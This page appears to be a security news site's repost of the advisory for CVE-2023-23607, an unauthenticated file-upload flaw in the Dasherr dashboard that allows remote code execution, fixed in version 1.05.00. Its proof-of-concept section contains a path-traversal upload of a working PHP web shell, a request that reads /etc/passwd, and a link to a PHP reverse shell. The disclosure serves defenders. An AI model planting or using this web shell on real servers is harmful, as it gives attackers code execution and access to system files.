Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-23607: Unrestricted file upload leads to Remote Code Execution

erohtar/Dasherr is a dashboard for self-hosted services. In affected versions unrestricted file upload allows any unauthenticated user to execute arbitrary code on the server. The file /www/include/filesave.php allows for any file to uploaded to anywhere. If an attacker uploads a php file they can execute code on the server. This issue has been addressed in version 1.05.00. Users are advised to upgrade. There are no known workarounds for this issue.

CVE
#git#php#rce#auth

Summary

Unrestricted file upload allows any unauthenticated user to execute arbitrary code on the server.

Details

/www/include/filesave.php allows for any file to uploaded to anywhere. If an attacker uploads a php file they can execute code on the server.
https://cwe.mitre.org/data/definitions/434.html

PoC

Using default configuration, intercept the POST request used to save the settings in Burp Suite.

Rename the file to …/shell.php

Replace the data to the following:

<?php
echo "Beaux was here ";
system($_REQUEST['cmd']);
?> 

in a browser go to

http://x.x.x.x/shell.php?cmd=cat%20/etc/passwd

Here is a video demo:
https://youtu.be/FEXuw5GJW-Y

A full reverse shell would also work:

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Impact

Remote code execution allows an unauthenticated attacker to run arbitrary code on the server.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda